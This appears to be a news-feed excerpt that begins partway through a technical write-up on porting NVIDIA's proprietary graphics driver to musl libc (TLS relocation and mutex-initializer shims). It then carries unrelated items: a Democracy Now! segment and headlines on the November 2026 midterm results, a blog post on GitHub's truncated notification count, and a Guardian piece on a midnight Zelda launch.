00000000022f5f98  0000007100000012 R_X86_64_TPOFF64       0000000000000000 _nv005tls + 0
00000000022f5fa8  0000007b00000012 R_X86_64_TPOFF64       0000000000000000 _nv000tls + 0
00000000022f5fd0  000000cd00000012 R_X86_64_TPOFF64       0000000000000000 _nv002tls + 0
00000000022f5fe8  000000e000000012 R_X86_64_TPOFF64       0000000000000000 _nv001tls + 0
$ readelf -a libnvidia-tls.so.580.196.07|grep TPOFF
0000000000004fc8  0000001100000012 R_X86_64_TPOFF64       0000000000000020 _nv005tls + 0
0000000000004fd0  0000000900000012 R_X86_64_TPOFF64       0000000000000010 _nv008tls + 0
0000000000004fd8  0000000b00000012 R_X86_64_TPOFF64       0000000000000008 _nv007tls + 0
0000000000004fe0  0000000e00000012 R_X86_64_TPOFF64       0000000000000000 _nv006tls + 0

So, about TLS. Normally, when you use OpenGL in an application, the implementation is dynamically loaded at runtime, not linked to the application. The OpenGL functions you use are then dynamically requested, usually through a portable wrapper (e.g. SDL_GL_GetProcAddress ).

There are various TLS models. You can read up on them here . Look at the DT_FLAGS for the glcore and tls libraries. See the STATIC_TLS ?

We have initial-exec , and our TLS needs to exist at a fixed offset from the thread pointer. This in general precludes dynamic allocation of the TLS memory. A quick test:

q66@asusbook: /home/q66$ cat dynlib.c
#include <stdio.h>

__thread void *init_ptr __attribute__((tls_model("initial-exec")));

void upd(void) {
    init_ptr = (void *)0xDEADBEEF;
}
q66@asusbook: /home/q66$ cc dynlib.c -o dynlib.so -shared -fPIC
q66@asusbook: /home/q66$ cat test.c
#include <stdio.h>
#include <dlfcn.h>

typedef void (*func_t)(void);

int main(void) {
    void *p = dlopen("/home/q66/dynlib.so", RTLD_LAZY);
    printf("SO %p %s\n", p, dlerror() ?: "");
    func_t upd = (func_t)dlsym(p, "upd");
    upd();
}
q66@asusbook: /home/q66$ cc test.c -o test
q66@asusbook: /home/q66$ ./test
SO 0 Error relocating /home/q66/dynlib.so: init_ptr: initial-exec TLS resolves to dynamic definition in /home/q66/dynlib.so
zsh: segmentation fault  ./test
q66@asusbook: /home/q66$ LD_PRELOAD=/home/q66/dynlib.so ./test
SO 0x700c30811080 

When trying to use the driver, we would get the exact same error when trying to open the GL implementation. On glibc it works because it reserves some extra space in its static TLS at the beginning and gives them out for as long as there is space. It is limited, but enough for the driver.

The correct thing here would be to use TLSDESC ( -mtls-dialect=gnu2 ) which is efficient enough and allows for dynamic TLS allocation, but NVIDIA apparently uses some rather old toolchains.

Since we don’t want to globally preload libnvidia-glcore into each process, I ended up patching the dynamic linker to handle this scenario with the same approach. I will not elaborate on the details of the patch as you can see it in the linked pull request and it is commented. It boils down to checking if the library has DF_STATIC_TLS in DT_FLAGS during dlopen and if so, checking if we have enough space for its whole TLS image in the spare memory, and if yes, avoiding allocating dynamic TLS for it.

That allows the above example to work without LD_PRELOAD .

(Another approach could be placing the TLS symbol definitions in something that is not runtime-loaded, e.g. placed into libGL or something else, and interposing the definitions; this could theoretically avoid patching the libc for this specific thing, but we have the ifunc thing too).

Procuring some hardware

I do not have any NVIDIA hardware. Before I could test, I would need to put a computer together.

Fortunately, my girlfriend still had her old computer’s GTX 980 Ti laying around. It is only supported by the legacy driver, but good enough for now. I then obtained some random old computer hardware (i3-7100, some RAM and a board, etc.)

It resulted in this monstrosity .

I could finally try if this thing works.

Initial testing and static mutex initializers

After this, the packaging was seemingly complete and I went to do some testing on the hardware above.

Well, it turns out trying to start anything graphical would just hang. I ran ls with libnvidia-glcore preloaded and saw:

(lldb) bt
* thread #1, name = 'ls', stop reason = signal SIGSTOP
    frame #0: 0x00007b0f72259376 ld-musl-x86_64.so.1`__syscall_cp_c(nr=202, u=<unavailable>, v=<unavailable>, w=<unavailable>, x=<unavailable>, y=<unavailable>, z=0) at pthre
ad_cancel.c:38:1
    frame #1: 0x00007b0f7225843f ld-musl-x86_64.so.1`__futex4_cp(addr=0x00007b0f6b6c7b44, op=<unavailable>, val=<unavailable>, to=0x0000000000000000) at __timedwait.c:24:6 [i
nlined]
    frame #2: 0x00007b0f7225841b ld-musl-x86_64.so.1`__timedwait_cp(addr=0x00007b0f6b6c7b44, val=-2147483632, clk=0, at=0x0000000000000000, priv=<unavailable>) at __timedwait
.c:52:7
    frame #3: 0x00007b0f72258526 ld-musl-x86_64.so.1`__timedwait(addr=0x00007b0f6b6c7b44, val=-2147483632, clk=0, at=0x0000000000000000, priv=128) at __timedwait.c:68:6
    frame #4: 0x00007b0f7225b6d3 ld-musl-x86_64.so.1`__pthread_mutex_timedlock(m=0x00007b0f6b6c7b40, at=0x0000000000000000) at pthread_mutex_timedlock.c:85:7
  * frame #5: 0x00007b0f67c033db libnvidia-gpucomp.so.580.196.07`___lldb_unnamed_symbol_a033b0 + 43
    frame #6: 0x00007b0f67bd8036 libnvidia-gpucomp.so.580.196.07`___lldb_unnamed_symbol_9d8000 + 54
    frame #7: 0x00007b0f67bd980d libnvidia-gpucomp.so.580.196.07`___lldb_unnamed_symbol_9d9710 + 253
    frame #8: 0x00007b0f67c0340a libnvidia-gpucomp.so.580.196.07`___lldb_unnamed_symbol_a033b0 + 90
    frame #9: 0x00007b0f67bd7fe2 libnvidia-gpucomp.so.580.196.07`___lldb_unnamed_symbol_9d7f60 + 130
    frame #10: 0x00007b0f67bdcd5e libnvidia-gpucomp.so.580.196.07`___lldb_unnamed_symbol_9dcce0 + 126
    frame #11: 0x00007b0f675df237 libnvidia-gpucomp.so.580.196.07`___lldb_unnamed_symbol_3df160 + 215
    frame #12: 0x00007b0f6a598132 libnvidia-gpucomp.so.580.196.07`___lldb_unnamed_symbol_3397eb0 + 642

Hm, pthread_mutex_timedlock in libnvidia-gpucomp ?

Inspecting the assembly revealed that it’s re-entering a lock. That suggested that this mutex should be recursive, and for some reason it is not. Then a friend remembered that glibc has static initializers for these, particularly PTHREAD_RECURSIVE_MUTEX_INITIALIZER_NP , while musl does not support static initialization, only via pthread_mutex_init , for this case.

How to deal with this? On glibc , the mutex structure is publicly visible, and has roughly this layout:

struct mutex {
    int lock;
    unsigned count;
    int owner;
    unsigned nusers;
    int kind;
    ...
};

Then the initializer looks like this:

enum
{
  PTHREAD_MUTEX_TIMED_NP,
  PTHREAD_MUTEX_RECURSIVE_NP,
  PTHREAD_MUTEX_ERRORCHECK_NP,
  PTHREAD_MUTEX_ADAPTIVE_NP
}

# define __PTHREAD_MUTEX_INITIALIZER(__kind) \
  0, 0, 0, 0, __kind, 0, 0, { 0, 0 }

# define PTHREAD_RECURSIVE_MUTEX_INITIALIZER_NP \
 { {  __PTHREAD_MUTEX_INITIALIZER (PTHREAD_MUTEX_RECURSIVE_NP) } }

That means it’s initializing the structure with the kind field.

Meanwhile, musl mutex type is opaque:

typedef struct { union { int __i[sizeof(long)==8?10:6]; volatile int __vi[sizeof(long)==8?10:6]; volatile void *volatile __p[sizeof(long)==8?5:6]; } __u; } pthread_mutex_t;

The mutex type is encoded in the first integer:

#define _m_type __u.__i[0]

In this layout, the kind would look like this, mirroring the glibc structure:

#define _m_kind __u.__i[4]

I found that musl does not use this in any way, however.

We can use this. The strategy I took was creating a new shim library containing the following:

int __nvcompat_mutex_lock(pthread_mutex_t *m) {
    patch_mutex_kind(m);
    return pthread_mutex_lock(m);
}

int __nvcompat_mutex_timedlock(pthread_mutex_t *restrict m, const struct timespec *restrict at) {
    patch_mutex_kind(m);
    return pthread_mutex_timedlock(m, at);
}

int __nvcompat_mutex_trylock(pthread_mutex_t *m) {
    patch_mutex_kind(m);
    return pthread_mutex_trylock(m);
}

The patch_mutex_kind fetches the (on musl , unused) kind field and writes it into the type field`, atomically, if it’s unset. On statically initialized mutexes, it is always unset, as it’s only written once, and the static initializer for the default mutex just zeroes everything.

The actual encoding of the type is the same between both libcs (with the caveat that glibc also supports adaptive mutexes, which we map to regular ones), so there is not much remapping to be done. You can see the code in the pull request.

How do we use these symbols? Via patchelf again. It supports --rename-dynamic-symbols , which takes a mapping file where each line looks like oldsym newsym . We just provide ours like this:

pthread_mutex_lock __nvcompat_mutex_lock
pthread_mutex_timedlock __nvcompat_mutex_timedlock
pthread_mutex_trylock __nvcompat_mutex_trylock

Then we patch our libnvcompat into NEEDED of all the libraries.

And that’s mostly all.

Open-source components

There are various bits and pieces NVIDIA has released over time as actual FOSS code. This includes nvidia-xconfig , nvidia-settings , nvidia-modprobe , nvidia-persistenced , and the egl-gbm and egl-wayland external platform libraries.

These come bundled in the driver archive. Since they can be built from source, we package them separately, to minimize the amount of stuff that needs to be shimmed, and then depend on the from the driver package.

Testing for real

Yes, it works .

For the 620 driver, we also had to replace libstdc++.so.6 in a couple places, where it was being used for the new operator. This is provided in an way that is ABI-compatible by libc++abi.so.1 so we just replace it.

The packaging will need some more refinement, and more testing will be needed. It was reported to me that the 620 driver works with RTX 3070 Ti. It was also reported to me that it works at least partially on AArch64.

But anyway, that’s it for this writeup.

Purple Mississippi? Overcoming GOP Voter Suppression, Black Voters Power Dem Wins Across the South

Democracy Now!
www.democracynow.org
2026-11-06 08:15:23
Mississippi’s race for the U.S. Senate remains too close to call: Democrat Scott Colom is narrowly leading Republican incumbent Cindy Hyde-Smith by nearly 2,000 votes with 96% of votes counted as of Friday morning. Donald Trump carried Mississippi by 23 points in 2024. If elected, Colom would ...
Original Article

This is a rush transcript. Copy may not be in its final form.

AMY GOODMAN : We begin today’s show in the Deep South, where Mississippi’s Senate race remains too close to call. Democrat Scott Colom is narrowly leading Republican incumbent Senator Cindy Hyde-Smith by more than 1,800 votes as election officials process provisional ballots and late-arriving mail ballots. Just two years ago, Donald Trump carried Mississippi by 23 points. If elected, Scott Colom would be the first Democrat to win the state in 40 years and the first African American since 1875, during Reconstruction.

Colom made the issue of affordability central to his campaign, and in an ad that went viral, he blasted Senator Hyde-Smith for saying Mississippians should, quote, “pick another protein,” unquote, if they’re upset over high beef prices. The ad features Mississippians saying they’d rather pick another senator.

HUGH KEETON : The price of beef continuing to go up.

SEN . CINDY HYDE - SMITH : You know, you have so many proteins to choose from.

MISSISSIPPI VOTER 1: Pick another protein? [bleep], I’d rather pick another senator instead.

MISSISSIPPI VOTER 2: Pick another protein? She done lost her damn mind. I’d rather pick another senator.

MISSISSIPPI VOTER 3: Pick another protein? What the [bleep]?

SCOTT COLOM : Pick another senator instead.

AMY GOODMAN : Scott Colom is a former district attorney for northeast Mississippi. In 2022, President Biden nominated him to the federal bench, a nomination blocked by Colom’s opponent in this race, incumbent Republican Senator Cindy Hyde-Smith.

Colom has sharply criticized national Democrats for writing off Mississippi and failing to invest in his campaign. Early on, he told reporters, quote, “Mississippi was never a lost cause. We were a betrayed cause.” This is Colom speaking to NBC News.

SCOTT COLOM : The reality is our country does not do well when it ignores places like Mississippi. … You can’t lead with doubt. You have to believe. You have to lead with belief, and that’s where the power is. When you believe things, you can actually achieve it. And there’s some people in the party that they are just treading water. Right? “What’s the path to least resistance to get to 51? Oh my gosh, we did it.” That’s not the right way to think. In this particular moment, you have to think about how can we win everywhere, because we need to represent working people in a way where we actually deliver.

AMY GOODMAN : The potential electoral upset in Mississippi is part of a much broader political shift across the South, where Democrats have scored major victories in states long considered Republican strongholds.

For the latest on Mississippi and more on the sea change in the South, we’re joined by two guests. In Durham, North Carolina, we’re joined by Chris Kromm, the executive director of the Institute for Southern Studies, publisher of its online magazine Facing South . And we’re joined by Cliff Albright, co-founder of Black Voters Matter. He’s been in Jackson, Mississippi, for much of this week, including election night, but is now back in Atlanta, Georgia, where we’ve spoken to him many times before.

We welcome you both to Democracy Now! Cliff Albright, let’s begin with you. To say the least, Colom feels betrayed by the Democratic Party for not backing him sooner, and yet he has shocked the nation in being ahead in this — very narrowly, in this race, where he may be, though it’s not finalized yet, unseating the incumbent Senator Cindy Hyde-Smith. Tell us what happened in Mississippi.

CLIFF ALBRIGHT : Yeah. Good morning, Amy. and good morning to my good friend Chris.

Yeah, you know, you all may not be able to claim it, but we’re claiming it. He’s claiming it. He’s ahead. He’s been ahead since election night. His lead continues to grow as they continue to count absentee ballots. We’re continuing, many organizations — it’s an incredible coalition of organizations down there in Mississippi that are fighting right now to make sure that every vote gets counted, people that were forced to do affidavit ballots, or provisional ballots, in some states it’s known as, trying to get organized to make sure that all of those ballots get counted, that people that didn’t have ID get their ballots fixed, get the ballots cured, to get all those votes counted. So we believe that he’s winning and, at the end of the day, that he’s going to be the winner.

But what happened is, in spite of the rest of the country really ignoring Mississippi — and I got to say that in addition to Mississippi, the points that he made about that state, the same could be said about Louisiana, which got even less support than his race got, and still came within a razor-thin margin. The same can be said about Florida — right? — Alabama. All of these states have been ignored, have been underresourced, underinvested. There are amazing groups doing work on a shoestring budget. But because of the tide of Black voter enthusiasm, largely fed by the Supreme Court’s Callais decision, which gutted the Voting Rights Act, ever since that decision, we’ve seen a wave of organizing, a wave of momentum. Of all the shifts that took place in the country — and to be clear, the entire country shifted left — but when you look at it regionally, the biggest shifts took place in the South — Texas, Mississippi, South Carolina, Louisiana. All those points had shifts between 20 and 24 points. And so, the wave of energy, largely led by Black voters who were most under attack with the mid-decade racial gerrymandering that was taking place — it clearly backfired, and all it did was to wake up a sleeping giant.

JUAN GONZÁLEZ: And, Chris Kromm, I wanted to ask you your reaction to the results in Mississippi. And if you could talk a little bit about the history of the two candidates?

CHRIS KROMM : No, absolutely. In an incredible year for Democrats in the South, the story of Scott Colom in Mississippi is one of the most remarkable. I mean, here you have a longtime leader in the Black community in Mississippi up against a longtime Republican. And the history that you brought out was incredibly important to the backdrop to this race, where he was put forward as a federal district nominee from the Biden administration in the fall of 2022, and almost every politician in Mississippi backed him, including the Republican Senator Roger Wicker, but the one person who blocked his nomination is the current senator from Mississippi, [Cindy] Hyde-Smith. And what you see there is — so, there’s a personal history there. And she really seemed determined. You know, she thought she had this race. She was kind of phoning it in. And, you know, to their credit, the Democrats, I think, late in the game kind of realized that this is a race that could be won.

And what you’re seeing now, I think, is really interesting, where armies of lawyers have come to Mississippi. The Republican lawyers are saying that they want to segregate those ballots, pull them aside, that came in, the affidavit ballots, or called provisional ballots elsewhere in the country, and pull those aside. Democratic lawyers and civil rights lawyers are saying that that’s not something you can do in Mississippi. And so this is really turning out to be an important legal battle. But as Cliff said, the trend lines are all going in the direction of Colom. And given that personal history, but also the long political history in Mississippi, it would be truly historic if he can come out on top.

JUAN GONZÁLEZ: And, Chris, in other states, the victories by Democrats at the top of the ticket have had an impact on the — on other races, less high-profile races. What’s happened there in Mississippi?

CHRIS KROMM : Yeah, well, I think that’s something really important to understand, is that these Senate races — so, if Scott Colom wins, which I think is very likely, that’ll be six Democrats who have won statewide U.S. Senate races. And those races really drove a lot of turnout that benefited, played a role in U.S. congressional races and statewide races. And so, you see that playing down the ballot, where this overall shift — as Cliff noted, that there was a 20-point shift overall in the South, when you look at the '24 presidential vote to what happened in the Senate races, a 20-point shift in the Democratic vote margin from ’24 to ’26. And that played out all down the ballot and even in races where — as Cliff notes, the places where Democrats came up short. What it really showed was the possibility of what's possible in Southern states. And I think that’s going to change forever people’s ideas about what the political map looks like nationally and the importance of the South in driving the national political agenda.

AMY GOODMAN : Cliff Albright, I know you have to leave in a second. You’re back in Atlanta, Georgia, where Keisha Lance Bottoms is now the first African American woman governor in the country. And you’ve just been in Mississippi. One of the most remarkable shifts in this country is the massive voter turnout. In many countries, many more people vote, percentage-wise, than in the United States, but it is growing here. If you can talk about also what this lack of Democratic establishment support has meant for Colom, but also Angie Nixon, who came so close to defeating the incumbent in Florida without that support? As Colom has pointed out, if only she had had that from the beginning. Your final comments on what you’re taking away from this election, as you say in Mississippi they’ve accepted that Colom has won, even if the rest of the country doesn’t, and if you think it could be stopped? I mean, here you have Cindy Hyde-Smith, who prevented Colom — she might be sorry now — from being appointed to the federal bench. She blocked Biden’s nomination.

CLIFF ALBRIGHT : Yeah, you know, I think that — so, a couple of things. On the Georgia thing, in addition to Keisha becoming governor, all the way down the ballot — to the point that Chris was just making, all the way down the ballot, it’s almost every state office in the state of Georgia is now going to be led by a Black woman — labor commissioner, agriculture, education — all the way down, except for lieutenant governor, where Josh won that one. But so, it’s absolutely remarkable, and it’s a sign of what could happen all across the South with the proper investment. What’s been happening in Georgia, you know, in 2020, in 2022, with Warnock winning again, this year, this has been from years of investment, the kind of investment that Mississippi, Louisiana, Florida has not seen.

Florida is insane, the way that people have turned their backs on the state of Florida and declared that it was hopeless, even after Andrew Gillum came close in 2018, and then just people just wrote it off. And for Angie to do what she did — and shoutout to her — on almost little, very little investment, really says what the potential is in the South. We’re hoping that the narrative or the question, the debate around what strategy makes sense in the South — do you invest in Black and Brown voters and mobilize that base? Right? Or do you continue to look for these unicorn Trump voters that swing back and forth? This year should really put that debate to an end, but I have a feeling it’s going to continue.

The last thing I’m going to say, Amy, is — and this is very important — with all these victories, there’s a risk that people lose sight of the structural barriers that still exist, the voter suppression that is still taking place. I know the Mississippi coalition is very insistent that people hear that story about things that still went wrong in this election. And this goes for across the South. And a lot of times what happens is, when we win, against all odds, that people say, “Oh, the voter suppression wasn’t that bad.” They said this about Warnock in '22. They said, “Oh, I guess that voter suppression bill wasn't that bad.” No, we were able to overcome the suppression, but that doesn’t mean that it’s not a structural barrier. The racial gerrymandering that took place has still given Republicans a structural edge, that’s been covered in a wave year, but it’s still something that’s got to be corrected. The Supreme Court’s decision has still got to be fixed. We still need voting rights legislation. And that, with investment, means there’s nothing that we can’t achieve all across the South.

JUAN GONZÁLEZ: And, Chris Kromm, I wanted to ask you if you could talk a little bit about what’s happened in North Carolina in this election.

CHRIS KROMM : Remarkable. Not only did you have at the top of the ticket, it looks like Roy Cooper is going to win by 19 to 20 points when all is said and done in terms of counting the ballots, but again, you go down the list. Four of the biggest upsets in U.S. congressional races were in North Carolina. It looks like at this point that we’re going to go from a delegation that, despite extreme gerrymandering, was a 10-4 in favor — delegation in favor of Republicans, will flip to a delegation that’s 10-4 in favor of Democrats.

Incredible stories like the longtime speaker of the House, Tim Moore, who created his own district through redistricting so he could win, was upset by a Black woman in District 14. In the mountains of North Carolina, where Hurricane Helene had devastated the region, you had a farmer, Ager, who’s going to — who’s won that race in District 11.

Just down the ballot, upset after upset, and it really showed that it was a combination of the political environment, how at the top of the ballot, the excitement and the investment that happened, but also some solid grassroots organizing, historic Black and Latino voter turnout. It really was the perfect storm, and it showed what’s possible. And again, I think this is a story — a lot of other Southern states could look like a North Carolina with the right investment, with the right attention. And so, the story of North Carolina, I think, is one that people should be paying attention to across the country, and also about what’s possible in the South.

AMY GOODMAN : And, Chris Kromm, we recently spoke to Justin Pearson, Justin Pearson who ran for Congress from Memphis. He really took on the data center there, as did his brother. He did lose, but he lost by just 2,000 votes in his gerrymandered district. So, even in that case, can you talk about the significance of this in Tennessee?

CHRIS KROMM : Well, this is what’s so important to understand, is that for all of the wins, and there were — you know, Democrats held on to 40 congressional seats, House seats. They are going to flip about 10 to 14 seats. I think that number is growing every day as new results come in, but it’s going to be about another 14 seats. If you think about how much bigger that wave would have been without the extreme gerrymandering, without the extreme voter restrictions that have been seen throughout the South, that wave would have been even bigger. And it really points to the importance of voting rights.

And Pearson is a great example of this. There’s over 30 data centers in the Memphis area. He is an out — a leader in that fight and talking about what the implications are for the community. And so, he didn’t make it to the finish line, but there are so many candidates like that in places where they were able to really move the needle, when you saw this incredible uptick in the electorate of Black and Latino voters, a real shift. And even if they didn’t get to the finish line, I hope the overall story people see is that the South is increasingly competitive and that there’s a real opportunity for engaging more voters and really pushing the region in a more progressive direction.

AMY GOODMAN : Chris Kromm, we want to thank you for being with us, executive director of the Institute for Southern Studies, speaking to us from North Carolina, and Cliff Albright, co-founder and executive director of the Black Voters Matter Fund. He spent the week in Jackson, Mississippi, just back at his home in Atlanta, Georgia.

Coming up, we look at some of the historic elections for Latinos with our own Juan González, author of Harvest of Empire: A History of Latinos in America . And then Hasan Piker will join us from Los Angeles to comment on the elections overall. He had one of the largest broadcasts in the United States on election night. Stay with us.

[break]

AMY GOODMAN : “When First Unto This Country,” rendition by Down Hill Strugglers, performing at the Brooklyn Folk Festival last year. This year’s festival is this weekend, and we’ll bring you more of those musicians.

The original content of this program is licensed under a Creative Commons Attribution-Noncommercial-No Derivative Works 3.0 United States License . Please attribute legal copies of this work to democracynow.org. Some of the work(s) that this program incorporates, however, may be separately licensed. For further information or additional permissions, contact us.

GitHub Inbox unread count is missing digits

Lobsters
nlopes.dev
2026-11-06 08:14:27
Comments...
Original Article

Have you ever encountered such a glaring UI bug, that you ask how it is possible no one has fixed it yet?

GitHub thinks I have two unread notifications. I really wish I had only two.

As of today, I have 2,240 and counting. The Inbox badge says 2 . Further down the same sidebar, a single repository shows 1,680 .

GitHub Notifications sidebar showing an Inbox count of 2

GitHub Notifications sidebar showing repositories unread count

Yes, I have too many unread notifications. We can have that conversation another day.

I see this bug every day and I had some time to kill this morning so, armed with OpenAI Codex , I went exploring.

GitHub sent both of these in the same response:

<!-- Mobile Inbox -->
<span class="count text-normal">2,240 </span>

<!-- Desktop Inbox -->
<span title="2" data-view-component="true" class="Counter">2</span>

The incorrect value was already in the HTML before the browser ran any scripts or laid out the page.

As you can see above, the Mobile Inbox html shows 2,240 and the repository counts also added up to 2,240 . I also validated with my phone per below [ 1 ] .

It shows the correct count on mobile

Retrieving through the notifications API’s pretty much confirms the total of 2k+ notifications as well.

Codex, sifted through the javascript code because we can just this nowadays (and even though we already knew that the html returned was wrong). When I told Codex to use its fetch helper directly, we still go the same mismatch.

After all this, and knowing that GitHub uses ruby, my best guess is that a .to_i is messing things up. In Ruby, "2240".to_i returns 2240 , while "2,240".to_i returns 2 . I can’t see the server code that produces the badge, so can’t quite be 100% but this would be a simple explanation to why this is happening.

IRB shows the string 2190 converting to 2190 and the string 2,190 converting to 2

Quite frankly, someone introducing this bug is, well, fine. Bugs exist everywhere.

What bothers me is that this bug has been present for years, and it’s still right there. The badge with the number should give me a sense of how many unread notifications I have, at a glance. Instead, I’ve learnt to ignore it.

Who at GitHub is actually using the product and paying attention to the UI?

GitHub, I’d quite like the rest of my digits back. If any GitHub engineer reads this, I beg you, either help us fix this, or write an amazing technical blog post explaining why this is harder to fix than it looks.

Either way, we all win.

The Legend of Zelda: Ocarina of Time has revived the midnight game launch – but was it worth the wait?

Guardian
www.theguardian.com
2026-11-06 08:00:43
When our writer found himself among the hundreds on Oxford Street hoping to get their hands on early copies and collectibles, it was a heartwarming reminder of the shared experience of fandom • The Legend of Zelda: Ocarina of Time review – a dream come true It is Thursday night and I am sat blurry-e...
Original Article

I t is Thursday night and I am sat blurry-eyed and runny nosed outside the Argos on Oxford Street. Incredibly, I am far from alone. This is not some strange protest against the popular retailer. When the clock strikes midnight, the lavish 4K Switch 2 remake of beloved N64 classic The Legend of Zelda: Ocarina of Time will be released, and I have joined a lengthy queue of about 500 fans desperate to snag early copies. There are similar events taking place across the world, from Melbourne to Mexico City; at key locations, Nintendo has senior executives waiting at the tills.

These days, of course, most video games are bought as digital copies that download straight to your PC or console on the day of release. You don’t even have to get out of bed to start playing. But in a bygone era, when we used to go to shops to buy games, midnight launches offered a space for likeminded enthusiasts to gather and celebrate their fandom. Every Call of Duty, Halo or Grand Theft Auto release would have fans queueing outside branches of Game or Electronics Boutique, many dressed as favourite characters.

As one of the few Brits deluded enough to spend six hours queueing at the Wii U’s midnight launch, I have a certain fondness for the game launch as a cultural event rather than just a weird display of performative consumerism. There was something heartwarming about seeing the video game hype cycle transformed into a shared experience.

Bill Trinen hands a customer the new Zelda game across a Nintendo store counter
Downloads be damned … Nintendo executive Bill Trinen serves customers in San Fransisco. Photograph: Business Wire

In our age of downloads and streaming services, however, you might wonder why anyone would bother queueing for hours in the November chill. Well, myself and hundreds of others have made the pilgrimage for one infuriatingly irresistible reason: those attending the launch would not only get a copy of the game but also a limited ocarina-shaped keyring and an exclusive replica of the original 1998 N64 box. To you, perhaps, a worthless piece of cardboard – but to us, a highly collectible, nostalgia-soaked … piece of cardboard.

Arriving at the queue for 22:45, bottle of water in hand, it’s not long before I realise I may have already blown it. With midnight launch events now few and far between, I had no idea whether people would still show up. Yet London’s Zelda fans had answered the Ocarina’s hymn and assembled en masse – snaking all the way around the corner.

A green-clad character runs toward a fountain in a bustling village square in the game
Long awaited … The Legend of Zelda: Ocarina of Time. Photograph: Nintendo

Thankfully, we’re soon informed by staff that everyone will be receiving a precious exclusive box regardless. Even if the stock runs out tonight, they say, we will all be posted one. Cue the Zelda treasure chest fanfare. I befriend a popcorn-munching man behind me who regales me with tales of the GameCube launch, as confused gen Z queuers regard us elderly Nintendo fanatics with disdain. The throng shuffles ever closer from the sidestreet into the back street, but when the clock strikes midnight, the shop is still a world away. A parade of men with cameraphones clutched to their chests circles the snaking queue, recording our suffering for future generations.

skip past newsletter promotion

At 2am, progress halts and frustration grows. Reluctantly, I scout to the front to investigate. It transpires that the store will soon shut, and the hundreds of queuers that remain will need to leave their details to receive the feted box by post. By the time I scrawl my name and address, I have been queueing for four hours.

As I wait for my taxi, questioning my life choices, I see a fellow cardboard enthusiast peering into the shuttered window, wistfully admiring the Zelda display. He tells me that his partner attended the Paris midnight launch where the queues were similarly enormous. Not only did she walk away with nothing, but Nintendo France were not taking details or promising to post boxes out to unlucky queuers. As my lift pulls up, the nostalgic appeal of the midnight launch has all but dissipated. I take small comfort in knowing one thing – at least we’re better off than the French.

Headlines for November 6, 2026

Democracy Now!
www.democracynow.org
2026-11-06 08:00:00
Democrats Lead in Alaska and Mississippi Senate Races as House Majority Approaches 260 Seats, Incoming Freshman Senators Call for New Leadership to Replace Top Democrat Chuck Schumer, Pete Hegseth Defends Iran War, Demands $350B in Additional Funding and Vows to Fight Impeachment, Marco Rubio Report...
Original Article

Headlines November 06, 2026

Watch Headlines

Democrats Lead in Alaska and Mississippi Senate Races as House Majority Approaches 260 Seats

Nov 06, 2026

Democrats continue to build on their historic gains in Tuesday’s midterm elections as final results are tabulated. So far, Democrats have won 253 House seats compared to Republicans’ 157, with 25 races still undecided.

In Mississippi, Democrat Scott Colom has added to his narrow lead over incumbent Republican Senator Cindy Hyde-Smith. He’s currently ahead by more than 1,800 votes as election officials process provisional ballots and late-arriving mail ballots. Colom would be the first Black senator from Mississippi since Blanche K. Bruce was elected in 1875, during the Reconstruction era.

In Alaska, Democrat Mary Peltola narrowly leads incumbent Republican Senator Dan Sullivan by just over 600 votes, though a quarter of ballots remain to be counted. If Democrats win Alaska and Mississippi, their Senate caucus will grow to 56 members.

Incoming Freshman Senators Call for New Leadership to Replace Top Democrat Chuck Schumer

Nov 06, 2026

There are growing calls for new leadership to challenge Senate Democratic leader Chuck Schumer and House Democratic leader Hakeem Jeffries. Senators-elect Peggy Flanagan, Troy Jackson, Abdul El-Sayed, Juliana Stratton and Adam Hamilton have all said they won’t support Schumer, as has Senate candidate Scott Colom in Mississippi. This is Michigan Senator-elect Abdul El-Sayed speaking with The Bulwark after Tuesday’s election.

Sen.-elect Abdul El-Sayed : “I’ve had conversations, obviously, with Senator Schumer in the context of this race. I’ve been clear: I want new leadership, and I want leadership that is focused on getting money out of politics, putting money in your pocket, passing Medicare for All. But at the end of the day, it’s a choice between two or more options, so I want to see who else is willing to put their hat in the ring.”

On Wednesday, CNN’s Manu Raju asked Senator Schumer about growing calls for him to step down as Senate Democratic leader.

Manu Raju : “How do you deal with those candidates who won who say they’re not going to vote for you?”

Sen. Chuck Schumer : “Look” —

Manu Raju : “Adam Hamilton, Troy Jackson, Abdul El-Sayed?”

Sen. Chuck Schumer : “OK, again, to repeat the answer: The issue is not me. I’ll be reelected as majority leader.”

In Texas, Senator-elect James Talarico has refused to commit to backing Schumer. Talarico is also calling on fellow Democrats to abolish the filibuster, a rule that effectively requires 60 of the Senate’s 100 members to pass legislation. Talarico spoke with NBC News.

Sen.-elect James Talarico : “I believe that the majority has the right to govern in this country. And the filibuster, which is not in the Constitution — it’s a Jim Crow relic — it is — it is leading to gridlock.”

Meanwhile, an online petition calling on Democrats to reject New York Congressmember Hakeem Jeffries as House speaker in the new Congress has garnered over 830,000 signatures.

Pete Hegseth Defends Iran War, Demands $350B in Additional Funding and Vows to Fight Impeachment

Nov 06, 2026

Defense Secretary Pete Hegseth defended the Iran war and lashed out at his critics on Thursday, as the House of Representatives prepares to vote as early as next week on articles of impeachment. The effort to oust Hegseth is being led by Kentucky’s outgoing Republican Congressmember Thomas Massie, who gave Hegseth an ultimatum after Tuesday’s historic losses for Republicans: Resign or be removed by Congress. The effort appears to have enough bipartisan support to pass, after many Republican lawmakers turned on Hegseth following their party’s election rout. On Thursday, Hegseth posted a defiant video on social media in which he lavished praise on President Trump, demanded at least $350 billion in additional military funding, said transgender troops have a mental illness incompatible with military service, and claimed victory over diversity, equity and inclusion, which he called a “Marxist ideology built to destroy us.” And Hegseth vowed to fight against impeachment.

Defense Secretary Pete Hegseth : “It’s all about the politics of personal destruction. Didn’t work against President Trump, and it won’t work with me.”

Marco Rubio Reportedly Considers Resigning as Secretary of State Ahead of Presidential Run

Nov 06, 2026

Multiple news outlets are reporting that Secretary of State Marco Rubio is considering leaving the Trump administration ahead of a run for the Republican presidential nomination in 2028. One Washington insider told The Independent that Rubio needs to “distance himself from the Iran war and pin that one on Trump.”

Harmeet Dhillon Resigns as Head of DOJ’s Civil Rights Division

Nov 06, 2026

